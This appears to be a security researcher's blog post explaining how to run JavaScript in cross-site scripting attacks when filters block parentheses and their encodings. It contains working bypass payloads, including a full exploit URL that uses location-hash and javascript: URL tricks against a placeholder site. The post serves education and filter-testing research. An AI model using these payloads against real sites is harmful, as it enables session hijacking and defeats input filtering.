Restricting the use of parentheses is one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x280\x29');
setTimeout('alert\x280\x29', 0);
Function('alert\x280\x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x280\x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript://' + location;
or
location = 'javascript://' + location.hash;

The payload has to go after a new line (%0A) in the location hash.

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0Aalert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() or by using sharp variables.